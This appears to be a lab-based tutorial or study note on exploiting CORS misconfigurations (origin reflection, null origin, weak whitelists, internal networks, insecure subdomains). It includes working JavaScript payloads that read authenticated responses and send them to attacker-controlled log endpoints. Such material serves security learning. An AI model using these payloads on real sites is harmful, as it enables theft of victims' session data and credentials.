Access-Control-Allow-Credentials = Tell whether the server allows credentials to be included. Like cookies, user names and password or certificates.
Most attacks require that the Access-Control-Allow-Credentials be set to true, so attackers can sent authenticated requests in the victim's context. Also many websites use CORS to allow access from subdomains and third parties, these implementations may have mistakes.
Example misconfiguration
- CORS setup tells the browser. "It's okay, I trust whoever is asking!"
- Attackers gets victim to visit a malicious site, while logged into a bank for example the malicious website can sent request to the bank.
- Unlike CSRF, with CORS the attacker can read the data and steal info.
| Feature | Standard Attack (CSRF) | CORS Misconfiguration |
|---|---|---|
| Can they trigger an action? | Yes (e.g., change a password) | Yes |
| Can they read the response? | No | Yes (e.g., read your emails) |
Without the Access-Control-Allow-Credentials being set attackers cannot perform these attacks and sometimes it needs the cookie SameSite=None to be set as well.
Arbitrary Origin Reflection
Access-Control-Allow-Credentials = The Access-Control-Allow-Origin header tells the browser which website is allowed to read the response.
The Access-Control-Allow-Origin header tells the browser who is allowed to bypass the Same-Origin policy allowing the origin to access the response. A wildcard (*) can be used meaning all origins are granted a bypass to the SOP.
To find CORS misconfigurations look for Access-Control-Allow-Origin headers in the response that hold the value of the Origin header in the request. Then modify the Origin header to another value and see if its including the the Access-Control-Allow-Origin response header.
# Request with malicious origin
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
# Reponse ref
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
Headers show access is allowed from the requesting domain malicious-website.com and that the cross-origin requests can include cookies Access-Control-Allow-Credentials: true and so will be processed in-session.
Origin Reflection attack We can host a malicious script, retrieving sensitive data in the response.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cors-misconfigs.zen/data.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://10.10.14.123:4443/log', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();
</script>
The attack in short
- Look for interesting responses containing sensitive data like credentials or api keys.
- Add the
Originheader with a test value - Check the response if the test value is reflected.
- Retrieve response with with above script.
Improper Origin Whitelist
Applications can also allow access by using white lists of allowed origins. If checking this white list is not properly done meaning origins reflecting in the Access-Control-Allow-Origin, attackers might be able to bypass it.
Normal request
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
White listed Origin response
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Or some websites want to trust all their subdomains. To do this, they check if the Origin header ends with mcz3n.corp
# Allowed
app.mcz3n.corp
# But would also allow
evil-app.mcz3n.corp
Trusted null origin
Besides trusting origins and wildcards, the Access-Control-Allow-Origin also trusts the null value. Some applications might be using this but should not happen, it could occur in:
- Cross-origin redirects.
- Requests from serialized data.
- Request using the
file:protocol. - Sandboxed cross-origin requests.
A null request
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
Reponse
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Exploitation
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Targeting the local network
If internal web applications do not require authentication and contain a CORS misconfiguration that trusts the attacker's origin, data exfil might be possible. Because if no authentication required you don't need the Access-Control-Allow-Credentials either.
Scenario
An internal API does not require authentication and is hosted at https://172.16.1.1 having set a wildcard in the Access-Control-Allow-Origin header.
Exploitation
Using the wildcard origin we can get access to the internal network and exfiltrate data.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://172.16.0.2/data.php', true);
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://10.10.14.144:4443/log', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();
</script>
If a victim in the same network will open the payload we would have access to the network, meaning we can exfiltrate data from the network. Instead of using a POST request as above we can also use a GET request.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.responseText);
};
xhr.send();
</script>
But this will display the website in their browser and the URL length is limited. Exfiltration using fetch or XMLHttpRequest in the background is a lot better.
Breaking TLS
If an application strictly employs HTTPS also whitelists a trusted subdomain that is using HTTP.
Request
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Response
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
In this situation attackers could intercept victims traffic exploitint CORS configuration and compromising the victim's interactions.
The attack
-
Victim makes a HTTP request
-
Attacker injects a redireciton to
http://trusted-subdomain.vulnerable-website.com -
Victim follows redirect
-
Attacker intercepts HTTP request, returns spoofed reponse with CORS request to
https://vulnerable-website.com. -
Victim browser makes CORS request including origin
http://trusted-subdomain.vulnerable-website.com. -
Application allows request and returns data in response to attacker.
Using XSS we could send a redirect to the subdomain causing the victim to follow it and returning data from the root domain with script below.
<script>
document.location="http://stock.0a9900a80399f79181fced8f00920025.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a9900a80399f79181fced8f00920025.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aec008303b6f72c81d2ec8601f00075.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>